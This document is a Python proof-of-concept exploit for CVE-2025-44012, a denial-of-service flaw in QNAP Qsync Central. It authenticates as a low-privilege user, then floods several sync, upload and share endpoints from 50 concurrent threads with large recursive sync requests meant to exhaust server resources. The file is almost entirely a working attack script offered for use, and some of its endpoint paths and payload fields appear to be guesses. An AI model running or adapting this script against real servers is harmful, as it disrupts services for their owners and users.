# CVE-2025-44012 - QNAP Qsync Central Resource Exhaustion PoC
# Vulnerability: Allocation of Resources Without Limits or Throttling
# Description: Exploits lack of resource throttling in Qsync Central to cause DoS
import requests
import threading
import time
from concurrent.futures import ThreadPoolExecutor, as_completed
class QsyncResourceExhaustion:
"""
PoC for CVE-2025-44012
Demonstrates resource exhaustion attack against QNAP Qsync Central
"""
def __init__(self, target_url, username, password, threads=50):
self.target_url = target_url.rstrip('/')
self.username = username
self.password = password
self.threads = threads
self.session = requests.Session()
self.success_count = 0
self.error_count = 0
self.lock = threading.Lock()
def authenticate(self):
"""Authenticate to Qsync Central with user credentials"""
login_url = f"{self.target_url}/cgi-bin/authLogin.cgi"
# Qsync Central uses specific authentication mechanism
auth_data = {
"user": self.username,
"pwd": self.password
}
try:
resp = self.session.post(login_url, data=auth_data, timeout=10)
if resp.status_code == 200:
print(f"[+] Authenticated successfully as {self.username}")
return True
except Exception as e:
print(f"[-] Authentication failed: {e}")
return False
def exhaust_resources(self, thread_id):
"""
Send repeated resource-consuming requests to exhaust system resources.
Targets file sync operations that allocate resources without limits.
"""
# Target endpoints that trigger resource allocation
target_endpoints = [
"/cgi-bin/qsync/qsync.cgi", # Qsync main handler
"/cgi-bin/qsync/sync.cgi", # Sync operations
"/cgi-bin/qsync/upload.cgi", # File upload handler
"/cgi-bin/qsync/share.cgi", # Share operations
"/qsync/api/v1/sync", # API sync endpoint
"/qsync/api/v1/files", # File operations API
"/qsync/api/v1/share", # Share API
]
local_success = 0
local_errors = 0
for i in range(100):
endpoint = target_endpoints[i % len(target_endpoints)]
url = f"{self.target_url}{endpoint}"
# Craft payload to trigger resource allocation
payload = {
"action": "sync",
"path": f"/share/ResourceExhaust_{thread_id}_{i}",
"recursive": "true",
"file_count": 10000, # Request to handle many files
}
try:
resp = self.session.post(
url,
json=payload,
timeout=5,
headers={"Content-Type": "application/json"}
)
if resp.status_code == 200:
local_success += 1
else:
local_errors += 1
except requests.exceptions.Timeout:
local_errors += 1
except Exception:
local_errors += 1
with self.lock:
self.success_count += local_success
self.error_count += local_errors
return thread_id, local_success, local_errors
def run_attack(self):
"""Execute the resource exhaustion attack"""
print(f"[*] Target: {self.target_url}")
print(f"[*] Threads: {self.threads}")
print(f"[*] User: {self.username}")
if not self.authenticate():
print("[-] Cannot proceed without valid credentials")
return False
print(f"[*] Starting resource exhaustion attack...")
start_time = time.time()
with ThreadPoolExecutor(max_workers=self.threads) as executor:
futures = [
executor.submit(self.exhaust_resources, i)
for i in range(self.threads)
]
for future in as_completed(futures):
tid, success, errors = future.result()
print(f" Thread {tid}: {success} success, {errors} errors")
elapsed = time.time() - start_time
print(f"\n[*] Attack completed in {elapsed:.2f} seconds")
print(f"[*] Total successful requests: {self.success_count}")
print(f"[*] Total errors (potential service degradation): {self.error_count}")
print(f"[*] If error count is high, service may be experiencing DoS")
return True
if __name__ == "__main__":
# Configuration
TARGET = "https://target-qsync-server:8080"
USERNAME = "testuser" # Valid Qsync user account (low privilege)
PASSWORD = "password123" # User's password
THREADS = 50 # Number of concurrent threads
print("=" * 60)
print("CVE-2025-44012 - QNAP Qsync Central DoS PoC")
print("Allocation of Resources Without Limits or Throttling")
print("=" * 60)
exploit = QsyncResourceExhaustion(TARGET, USERNAME, PASSWORD, THREADS)
exploit.run_attack()